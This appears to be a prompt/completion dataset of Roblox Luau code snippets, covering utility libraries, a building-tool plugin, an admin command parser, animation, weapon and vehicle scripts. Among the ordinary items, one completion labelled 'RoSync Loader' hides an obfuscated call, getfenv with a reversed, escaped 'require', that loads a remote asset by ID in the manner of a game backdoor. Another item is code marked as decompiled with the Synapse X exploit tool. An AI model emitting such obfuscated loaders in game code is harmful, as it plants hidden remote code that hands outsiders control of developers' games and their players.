prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[=[
@within TableUtil
@function Reverse
@param tbl table
@return table
Reverses the array.
```lua
local t = {1, 5, 10}
local tReverse = TableUtil.Reverse(t)
print(tReverse) --> {10, 5, 1}
```
:::note Arrays only
This function works on arrays, but not dictionaries.
]=]
|
local function Reverse(tbl: Table): Table
local n = #tbl
local tblRev = table.create(n)
for i = 1,n do
tblRev[i] = tbl[n - i + 1]
end
return tblRev
end
|
-- Enable tool or plugin
|
if Mode == 'Plugin' then
-- Set the UI root
UIContainer = CoreGui;
-- Create the toolbar button
PluginButton = Plugin:CreateToolbar('Building Tools by F3X'):CreateButton(
'Building Tools by F3X',
'Building Tools by F3X',
Assets.PluginIcon
);
-- Connect the button to the system
PluginButton.Click:Connect(function ()
PluginEnabled = not PluginEnabled;
PluginButton:SetActive(PluginEnabled);
-- Toggle the tool
if PluginEnabled then
Plugin:Activate(true);
Enable(Plugin:GetMouse());
else
Disable();
end;
end);
-- Disable the tool upon plugin deactivation
Plugin.Deactivation:Connect(Disable);
-- Sync Studio selection to internal selection
Selection.Changed:Connect(function ()
SelectionService:Set(Selection.Items);
end);
-- Sync internal selection to Studio selection on enabling
Enabling:Connect(function ()
Selection.Replace(SelectionService:Get());
end);
-- Roughly sync Studio history to internal history (API lacking necessary functionality)
History.Changed:Connect(function ()
ChangeHistoryService:SetWaypoint 'Building Tools by F3X';
end);
-- Add plugin action for toggling tool
local ToggleAction = Plugin:CreatePluginAction(
'F3X/ToggleBuildingTools',
'Toggle Building Tools',
'Toggles the Building Tools by F3X plugin.',
Assets.PluginIcon,
true
)
ToggleAction.Triggered:Connect(function ()
PluginEnabled = not PluginEnabled
PluginButton:SetActive(PluginEnabled)
-- Toggle the tool
if PluginEnabled then
Plugin:Activate(true)
Enable(Plugin:GetMouse())
else
Disable()
end
end)
elseif Mode == 'Tool' then
-- Set the UI root
UIContainer = Player:WaitForChild 'PlayerGui';
-- Connect the tool to the system
Tool.Equipped:Connect(Enable);
Tool.Unequipped:Connect(Disable);
-- Disable the tool if not parented
if not Tool.Parent then
Disable();
end;
-- Disable the tool automatically if not equipped or in backpack
Tool.AncestryChanged:Connect(function (Item, Parent)
if not Parent or not (Parent:IsA 'Backpack' or (Parent:IsA 'Model' and Players:GetPlayerFromCharacter(Parent))) then
Disable();
end;
end);
end;
|
--[[
Fired when Warmup is entered, throwing out a player state update, as well as transitioning the player state
]]
|
function Transitions.onEnterWarmup(stateMachine, event, from, to, playerComponent)
Logger.trace(playerComponent.player.Name, " state change: ", from, " -> ", to)
playerComponent:updateStatus("currentState", to)
PlayerWarmup.enter(stateMachine, playerComponent)
end
|
-- << FUNCTIONS >>
|
function module:Process(commandArgsReal, args, commandPrefix, commandName, speaker, speakerData, originalMessage, originalAlias, batches, batchPos)
local argsToReturn = {}
local commandArgs = {}
local UP = false
local forceExit = false
if commandPrefix == main.settings.UniversalPrefix then
UP = true
end
for i,v in pairs(commandArgsReal) do
if i ~= 1 or v ~= "player" or not UP then
table.insert(commandArgs, v)
end
end
for i,v in pairs(commandArgs) do
local argToProcess = args[i]
if v == "rank" then
local finalRankId = 6 -- Any rank higher than 5 will not be given
if argToProcess ~= nil then
for _, rankDetails in pairs(main.settings.Ranks) do
local rankId = rankDetails[1]
local rankName = rankDetails[2]
if string.lower(rankName) == argToProcess then
finalRankId = rankId
break
end
end
if finalRankId == 6 then
for _, rankDetails in pairs(main.settings.Ranks) do
local rankId = rankDetails[1]
local rankName = rankDetails[2]
if string.sub(string.lower(rankName),1,#argToProcess) == argToProcess then
finalRankId = rankId
break
end
end
end
end
argToProcess = finalRankId
elseif v == "colour" or v == "color" or v == "color3" then
local finalColor
if argToProcess ~= nil then
local rgb = {}
argToProcess:gsub("([^,]+)",function(c) table.insert(rgb, tonumber(c)) end);
if #rgb == 3 then
finalColor = Color3.fromRGB(rgb[1], rgb[2], rgb[3])
else
finalColor = main:GetModule("cf"):GetColorFromString(argToProcess)
end
end
if not finalColor then
if commandName == "laserEyes" then
finalColor = speakerData.LaserColor
else
finalColor = Color3.fromRGB(255,255,255)
end
end
argToProcess = finalColor
elseif v == "number" or v == "integer" or v == "studs" or v == "speed" or v == "intensity" then
argToProcess = tonumber(argToProcess) or 0
local limitDetails = main.settings.CommandLimits[commandName]
if limitDetails then
local limit = limitDetails.Limit
local ingoreRank = limitDetails.IgnoreLimit
if argToProcess > limit and speakerData.Rank < ingoreRank then
local rankName = main:GetModule("cf"):GetRankName(ingoreRank)
main:GetModule("cf"):FormatAndFireError(speaker, "CommandLimit", v, limit, rankName)
forceExit = true
end
end
elseif v == "boolean" then
argToProcess = ((argToProcess == "on" or argToProcess == "true") and true) or false
elseif v == "value" then
local number = tonumber(argToProcess)
if number then
argToProcess = number
end
elseif v == "stat" or v == "statname" then
local finalStatName = ""
local leaderstats = speaker:FindFirstChild("leaderstats")
if leaderstats then
for _,stat in pairs(leaderstats:GetChildren()) do
local statName = string.lower(stat.Name)
if string.sub(statName, 1, #argToProcess) == argToProcess then
finalStatName = stat.Name
break
end
end
end
argToProcess = finalStatName
elseif v == "scale" then
argToProcess = tonumber(argToProcess) or 1
local scaleLimit = main.settings.ScaleLimit
local ignoreRank = main.settings.IgnoreScaleLimit
if argToProcess > scaleLimit and speakerData.Rank < ignoreRank then
local rankName = main:GetModule("cf"):GetRankName(ignoreRank)
main:GetModule("cf"):FormatAndFireError(speaker, "ScaleLimit", scaleLimit, rankName)
forceExit = true
elseif argToProcess > 50 then
argToProcess = 100
end
--
elseif v == "degrees" or v == "degree" or v == "rotation" then
argToProcess = tonumber(argToProcess) or 180
elseif v == "team" then
local selectedTeam
for _,team in pairs(main.teams:GetChildren()) do
local teamName = string.lower(team.Name)
if string.sub(teamName, 1, #argToProcess) == argToProcess then
selectedTeam = team
break
end
end
argToProcess = selectedTeam
elseif v == "teamcolor" then
local teamColor
for _,team in pairs(main.teams:GetChildren()) do
local teamName = string.lower(team.Name)
if string.sub(teamName, 1, #argToProcess) == argToProcess then
teamColor = team.TeamColor
break
end
end
argToProcess = teamColor
elseif v == "text" or v == "string" or v == "reason" or v == "question" or v == "teamname" or v == "code" then
local _, minStartPos = string.lower(originalMessage):find(originalAlias)
if argToProcess then
local newOriginalMessage = string.sub(originalMessage, minStartPos+1)
local startPos, endPos = string.lower(newOriginalMessage):find(argToProcess, 1, true)
local message = string.sub(newOriginalMessage, startPos)
if batchPos ~= #batches then
local removeFrom = batchPos+1
for i,v in pairs(batches) do
if i >= removeFrom then
table.remove(batches,removeFrom)
end
end
end
argToProcess = string.sub(argToProcess, 1, 420) -- We don't people flooding items like titles with over 20,000 characters for example
if tonumber(message) or v == "code" then
argToProcess = message
else
argToProcess = main:GetModule("cf"):FilterBroadcast(message, speaker)
end
else
argToProcess = " "
end
elseif v == "answers" then
local newArgs = {}
if argToProcess then
argToProcess:gsub('([^,]+)',function(c) newArgs[#newArgs+1] = c end);
argToProcess = newArgs
end
elseif v == "material" then
local finalMaterial = Enum.Material.Plastic
for i, materialName in pairs(materials) do
if (argToProcess == string.sub(string.lower(materialName),1,#argToProcess)) then
finalMaterial = Enum.Material[materialName]
break
end
end
argToProcess = finalMaterial
elseif v == "userid" or v == "playerid" or v == "plrid" then
if argToProcess == nil then
argToProcess = 1
end
local userId = tonumber(argToProcess)
if not userId then
local userName = string.lower(argToProcess)
for i, plr in pairs(main.players:GetChildren()) do
local plrName = string.lower(plr.Name)
if string.sub(plrName, 1, #userName) == userName then
userId = plr.UserId
end
end
if not userId then
userId = main:GetModule("cf"):GetUserId(argToProcess)
end
end
argToProcess = userId
elseif v == "tools" or v == "gears" or v == "tool" or v == "gear" then
local toolName = argToProcess
argToProcess = {}
for i,v in pairs(main.listOfTools) do
if toolName == "all" or string.lower(string.sub(v.Name, 1, #toolName)) == toolName then
table.insert(argToProcess, v)
end
end
elseif v == "morph" then
local morphName = argToProcess
argToProcess = nil
if morphName then
for i,v in pairs(main.server.Morphs:GetChildren()) do
local mName = string.lower(v.Name)
if mName == morphName then
argToProcess = v
break
elseif string.sub(mName, 1, #morphName) == morphName then
argToProcess = v
end
end
end
end
if forceExit then
break
end
table.insert(argsToReturn, argToProcess)
end
return argsToReturn, forceExit
end
return module
|
--[[ Last synced 8/20/2022 01:20 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
--[=[
Promise resolution procedure, resolves the given values
@param ... T
]=]
|
function Promise:Resolve(...)
if not self._pendingExecuteList then
return
end
local len = select("#", ...)
if len == 0 then
self:_fulfill({}, 0)
elseif self == (...) then
self:Reject("TypeError: Resolved to self")
elseif Promise.isPromise(...) then
if len > 1 then
local message = ("When resolving a promise, extra arguments are discarded! See:\n\n%s")
:format(self._source)
warn(message)
end
local promise2 = (...)
if promise2._pendingExecuteList then -- pending
promise2._unconsumedException = false
promise2._pendingExecuteList[#promise2._pendingExecuteList + 1] = {
function(...)
self:Resolve(...)
end,
function(...)
-- Still need to verify at this point that we're pending!
if self._pendingExecuteList then
self:_reject({...}, select("#", ...))
end
end,
nil
}
elseif promise2._rejected then -- rejected
promise2._unconsumedException = false
self:_reject(promise2._rejected, promise2._valuesLength)
elseif promise2._fulfilled then -- fulfilled
self:_fulfill(promise2._fulfilled, promise2._valuesLength)
else
error("[Promise.Resolve] - Bad promise2 state")
end
elseif type(...) == "function" then
if len > 1 then
local message = ("When resolving a function, extra arguments are discarded! See:\n\n%s")
:format(self._source)
warn(message)
end
local func = ...
func(self:_getResolveReject())
else
-- TODO: Handle thenable promises!
-- Problem: Lua has :andThen() and also :Then() as two methods in promise
-- implementations.
self:_fulfill({...}, len)
end
end
|
-- создаём заготовки/клоны исходных скриптов
|
local scr1 = script.StageAdd:Clone()
local scr2 = script.onModelTouched:Clone()
local elements = script.Parent:GetChildren() -- взять дочек
for a,b in pairs(elements) do
if b.ClassName == "Model" then -- проверить дочек на модель
-- клонируем скрипты на свои места
local s1=scr1:Clone()
s1.Parent = b.Finish
local s4=scr1:Clone()
s4.Parent = b.SpawnLocation
local s2=scr2:Clone()
s2.Parent = b.Finish
local s3=scr2:Clone()
s3.Parent = b.SpawnLocation
-- включаем скрипты
s1.Disabled = false
s2.Disabled = false
s3.Disabled = false
s4.Disabled = false
end
end
local tmp = script.Parent:GetChildren()
local models = {} -- пустой массив моделей
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if zombie then
local bodyHeightScale = zombie:FindFirstChild("BodyHeightScale")
if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then
return bodyHeightScale.Value
end
end
return 1
end
local smallButNotZero = 0.0001
function setRunSpeed(speed)
if speed < 0.33 then
currentAnimTrack:AdjustWeight(1.0)
runAnimTrack:AdjustWeight(smallButNotZero)
elseif speed < 0.66 then
local weight = ((speed - 0.33) / 0.33)
currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
runAnimTrack:AdjustWeight(weight + smallButNotZero)
else
currentAnimTrack:AdjustWeight(smallButNotZero)
runAnimTrack:AdjustWeight(1.0)
end
local speedScaled = speed * 1.25
local heightScale = getHeightScale()
runAnimTrack:AdjustSpeed(speedScaled / heightScale)
currentAnimTrack:AdjustSpeed(speedScaled / heightScale)
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
if currentAnim == "walk" then
setRunSpeed(speed)
else
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, zombie)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
|
-- Constructor
|
local Camera = workspace.CurrentCamera
local Looping = false
local Speed = 1
local FreezeControls = false
|
----- Loaded Modules -----
|
local MadworkMaid = require(Madwork.GetShared("Madwork", "MadworkMaid"))
|
--[=[
A BaseObject basically just adds the :Destroy() interface, and a _maid, along with an optional object it references.
@class BaseObject
]=]
|
local require = require(script.Parent.loader).load(script)
local Maid = require("Maid")
local BaseObject = {}
BaseObject.ClassName = "BaseObject"
BaseObject.__index = BaseObject
|
-- Join control
|
players.PlayerAdded:Connect(require(playerFunctions).PlayerAdded)
players.PlayerRemoving:Connect(require(playerFunctions).Save)
|
--[=[
Returns the first alive Brio in a list
@param brios {Brio<T>}
@return Brio<T>
]=]
|
function BrioUtils.firstAlive(brios)
for _, brio in pairs(brios) do
if not brio:IsDead() then
return brio
end
end
return nil
end
|
--[[
___ _______ _ _______
/ _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / /
/_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/
SecondLogic @ Inspare
Avxnturador @ Novena
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local BOVact = 0
local BOVact2 = 0
local BOV_Loudness = 0 --volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.2 --max pitch of the BOV (not exact so might have to mess with it)
local TurboLoudness = 0 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
script:WaitForChild("Whistle")
script:WaitForChild("BOV")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
end
end)
handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true)
handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true)
handler:FireServer("playSound","Whistle")
car.DriveSeat:WaitForChild("Whistle")
car.DriveSeat:WaitForChild("BOV")
local ticc = tick()
local _TCount = 0
if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end
while wait() do
local psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2)
BOVact = math.floor(psi*20)
WP = (psi)
WV = (psi/4)*TurboLoudness
BP = (1-(-psi/20))*BOV_Pitch
BV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value))
if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end
if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end
if FE then
handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV)
handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV)
else
car.DriveSeat.Whistle.Pitch = WP
car.DriveSeat.Whistle.Volume = WV
car.DriveSeat.BOV.Pitch = BP
car.DriveSeat.BOV.Volume = BV
end
if (tick()-ticc) >= 0.1 then
BOVact2 = math.floor(psi*20)
ticc = tick()
end
end
|
-- Get reference to the Dock frame
|
local dock = script.Parent.Parent.DockShelf
|
-------------------------
|
function onClicked()
Car.BodyVelocity.velocity = Vector3.new(0, 5, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--[[Information about tool:
This tool is created with the AH-64.
its one of the Efectivest tools created by me
]]
--Not change below SOMETHING! Exept where i say u may do !
--Flight movement
|
creativeval = 0
bin=script.Parent
|
--[=[
@param predicate (value: any) -> boolean
@return Option
Returns `self` if this option has a value and the predicate returns `true.
Otherwise, returns None.
]=]
|
function Option:Filter(predicate)
if self:IsNone() or not predicate(self._v) then
return Option.None
else
return self
end
end
|
--//EVENTS\\--
|
game:GetService("RunService").RenderStepped:Connect(function()--This part gets the renderization service
--//VISIBLE\\--
for i, part in pairs(character:GetChildren()) do
if string.match(part.Name, "Arm") or string.match(part.Name, "Hand") or string.match(part.Name, "Leg") or string.match(part.Name, "Torso") or string.match(part.Name, "Foot") then--This part of the script will detect the names of the items listed then it's going to be used later on
part.LocalTransparencyModifier = 0--disables the ability of your bodyparts to be transparent
end
end
end)
|
-- find player's head pos
|
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local head = vCharacter:findFirstChild("Head")
if head == nil then return end
local launch = head.Position + 10 * v
local missile = Pellet:clone()
missile.Position = launch
missile.Velocity = v * 80
local force = Instance.new("BodyForce")
force.force = Vector3.new(0,40,0)
force.Parent = missile
if (turbo) then
missile.Velocity = v * 100
force.force = Vector3.new(0,45,0)
end
missile.SnowballScript.Disabled = false
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vCharacter
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
end
function rndDir()
return Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
if loaded==true then
loaded=false
local targetPos = humanoid.TargetPoint
local lookAt = (targetPos - character.Head.Position).unit
fire(lookAt, isTurbo(character) )
if (isTurbo(character) == true) then
wait(.1)
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
wait(.1)
fire(lookAt * .9 + rndDir() * .1, isTurbo(character) )
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
wait(.1)
fire(lookAt * .8 + rndDir() * .2, isTurbo(character) )
wait(.1)
else
wait(.3)
end
Tool.Enabled = true
elseif loaded==false then
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
wait(.1)
Tool.Handle.Transparency=0
wait(.1)
loaded=true
end
Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
-- Left Arms
|
character.Constraint.ConstraintLeftUpperArm.Attachment0 = LUA
character.Constraint.ConstraintLeftUpperArm.Attachment1 = LUARig
character.Constraint.ConstraintLeftLowerArm.Attachment0 = LLA
character.Constraint.ConstraintLeftLowerArm.Attachment1 = LLARig
character.Constraint.ConstraintLeftHand.Attachment0 = LH
character.Constraint.ConstraintLeftHand.Attachment1 = LHRig
|
-- Legacy implementation renamed
|
function CameraUtils.GetAngleBetweenXZVectors(v1: Vector3, v2: Vector3): number
return math.atan2(v2.X*v1.Z-v2.Z*v1.X, v2.X*v1.X+v2.Z*v1.Z)
end
function CameraUtils.RotateVectorByAngleAndRound(camLook: Vector3, rotateAngle: number, roundAmount: number): number
if camLook.Magnitude > 0 then
camLook = camLook.Unit
local currAngle = math.atan2(camLook.Z, camLook.X)
local newAngle = round((math.atan2(camLook.Z, camLook.X) + rotateAngle) / roundAmount) * roundAmount
return newAngle - currAngle
end
return 0
end
|
--// Hash: 4ff11c83b72d76d1d1d67ed38db378bb76fe93bad84f73c50a81f60a561bca442213063368847fe595aea47ea94b3b28
-- Decompiled with the Synapse X Luau decompiler.
|
wait(3);
if game:GetService("VRService").VREnabled then
game:GetService("Players").LocalPlayer:Kick("VR isn't supported, sorry!");
end;
|
-- Mapping from movement mode and lastInputType enum values to control modules to avoid huge if elseif switching
|
local movementEnumToModuleMap = {
[Enum.TouchMovementMode.DPad] = TouchDPad,
[Enum.DevTouchMovementMode.DPad] = TouchDPad,
[Enum.TouchMovementMode.Thumbpad] = TouchThumbpad,
[Enum.DevTouchMovementMode.Thumbpad] = TouchThumbpad,
[Enum.TouchMovementMode.Thumbstick] = TouchThumbstick,
[Enum.DevTouchMovementMode.Thumbstick] = TouchThumbstick,
[Enum.TouchMovementMode.DynamicThumbstick] = DynamicThumbstick,
[Enum.DevTouchMovementMode.DynamicThumbstick] = DynamicThumbstick,
[Enum.TouchMovementMode.ClickToMove] = ClickToMove,
[Enum.DevTouchMovementMode.ClickToMove] = ClickToMove,
-- Current default
[Enum.TouchMovementMode.Default] = DynamicThumbstick,
[Enum.ComputerMovementMode.Default] = Keyboard,
[Enum.ComputerMovementMode.KeyboardMouse] = Keyboard,
[Enum.DevComputerMovementMode.KeyboardMouse] = Keyboard,
[Enum.DevComputerMovementMode.Scriptable] = nil,
[Enum.ComputerMovementMode.ClickToMove] = ClickToMove,
[Enum.DevComputerMovementMode.ClickToMove] = ClickToMove,
}
|
--- Cleans up all tasks.
-- @alias Destroy
|
function Maid:doCleaning()
local tasks = self._tasks
-- Disconnect all events first as we know this is safe
for index, task in pairs(tasks) do
if typeof(task) == "RBXScriptConnection" then
tasks[index] = nil
task:Disconnect()
end
end
-- Clear out tasks table completely, even if clean up tasks add more tasks to the maid
local index, task = next(tasks)
while task ~= nil do
tasks[index] = nil
if type(task) == "function" then
task()
elseif typeof(task) == "RBXScriptConnection" then
task:Disconnect()
elseif task.Destroy then
task:Destroy()
elseif task.destroy then
task:destroy()
end
index, task = next(tasks)
end
end
|
-- Code --
|
setUp()
getProximityPrompts()
for index, prompt in ipairs(proximityPrompts) do
local connection = prompt.Triggered:Connect(onTriggered)
table.insert(connections, connection)
end
|
--[[
class Maid
Description:
Manages the cleaning of events and other things. Needed to encapsulate state
and make deconstructors easy
API:
Maid.new() Returns a new Maid object.
Maid[key] = (function) Adds a task to perform when cleaning up.
Maid[key] = (event connection) Manages an event connection. Anything that isn"t a function is assumed to be this.
Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up.
Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method
Maid[key] = nil Removes a named task. If the task is an event, it is disconnected. If it is an object, it is destroyed.
Maid:GiveTask(task) Same as above, but uses an incremented number as a key.
Maid:DoCleaning() Disconnects all managed events and performs all clean-up tasks.
Maid:IsCleaning() Returns true is in cleaning process.
Maid:Destroy() Alias for DoCleaning()
]]
|
local Maid = {}
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
game.ReplicatedStorage.Events.Character.BuyWeapon:Fire(player,dialogueFolder.Parent.Name)
end
|
-- The pierce function can also be used for things like bouncing.
-- In reality, it's more of a function that the module uses to ask "Do I end the cast now, or do I keep going?"
-- Because of this, you can use it for logic such as ray reflection or other redirection methods.
-- A great example might be to pierce or bounce based on something like velocity or angle.
-- You can see this implementation further down in the OnRayPierced function.
|
function CanRayPierce(cast, rayResult, segmentVelocity)
-- Let's keep track of how many times we've hit something.
local hits = cast.UserData.Hits
if (hits == nil) then
-- If the hit data isn't registered, set it to 1 (because this is our first hit)
cast.UserData.Hits = 1
else
-- If the hit data is registered, add 1.
cast.UserData.Hits += 1
end
-- And if the hit count is over 3, don't allow piercing and instead stop the ray.
if (cast.UserData.Hits > 3) then
return false
end
-- Now if we make it here, we want our ray to continue.
-- This is extra important! If a bullet bounces off of something, maybe we want it to do damage too!
-- So let's implement that.
local hitPart = rayResult.Instance
if hitPart ~= nil and hitPart.Parent ~= nil then
local humanoid = hitPart.Parent:FindFirstChildOfClass("Humanoid")
if humanoid then
local Player = Players:GetPlayerFromCharacter(Tool.Parent)
humanoid.Health -= 50
TagHumanoid(humanoid, Player)
end
end
-- And then lastly, return true to tell FC to continue simulating.
return true
--[[
-- This function shows off the piercing feature literally. Pass this function as the last argument (after bulletAcceleration) and it will run this every time the ray runs into an object.
-- Do note that if you want this to work properly, you will need to edit the OnRayPierced event handler below so that it doesn't bounce.
if material == Enum.Material.Plastic or material == Enum.Material.Ice or material == Enum.Material.Glass or material == Enum.Material.SmoothPlastic then
-- Hit glass, plastic, or ice...
if hitPart.Transparency >= 0.5 then
-- And it's >= half transparent...
return true -- Yes! We can pierce.
end
end
return false
--]]
end
function Fire(direction)
-- Called when we want to fire the gun.
if Tool.Parent:IsA("Backpack") then return end -- Can't fire if it's not equipped.
-- Note: Above isn't in the event as it will prevent the CanFire value from being set as needed.
-- UPD. 11 JUNE 2019 - Add support for random angles.
local directionalCF = CFrame.new(Vector3.new(), direction)
-- Now, we can use CFrame orientation to our advantage.
-- Overwrite the existing Direction value.
local direction = (directionalCF * CFrame.fromOrientation(0, 0, RNG:NextNumber(0, TAU)) * CFrame.fromOrientation(math.rad(RNG:NextNumber(MIN_BULLET_SPREAD_ANGLE, MAX_BULLET_SPREAD_ANGLE)), 0, 0)).LookVector
-- UPDATE V6: Proper bullet velocity!
-- IF YOU DON'T WANT YOUR BULLETS MOVING WITH YOUR CHARACTER, REMOVE THE THREE LINES OF CODE BELOW THIS COMMENT.
-- Requested by https://www.roblox.com/users/898618/profile/
-- We need to make sure the bullet inherits the velocity of the gun as it fires, just like in real life.
local humanoidRootPart = Tool.Parent:WaitForChild("HumanoidRootPart", 1) -- Add a timeout to this.
local myMovementSpeed = humanoidRootPart.Velocity -- To do: It may be better to get this value on the clientside since the server will see this value differently due to ping and such.
local modifiedBulletSpeed = (direction * BULLET_SPEED)-- + myMovementSpeed -- We multiply our direction unit by the bullet speed. This creates a Vector3 version of the bullet's velocity at the given speed. We then add MyMovementSpeed to add our body's motion to the velocity.
if PIERCE_DEMO then
CastBehavior.CanPierceFunction = CanRayPierce
end
local simBullet = Caster:Fire(FirePointObject.WorldPosition, direction, modifiedBulletSpeed, CastBehavior)
-- Optionally use some methods on simBullet here if applicable.
-- Play the sound
PlayFireSound()
PlayReloadSound()
end
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.KeroppiKnife-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = nil ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = nil ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
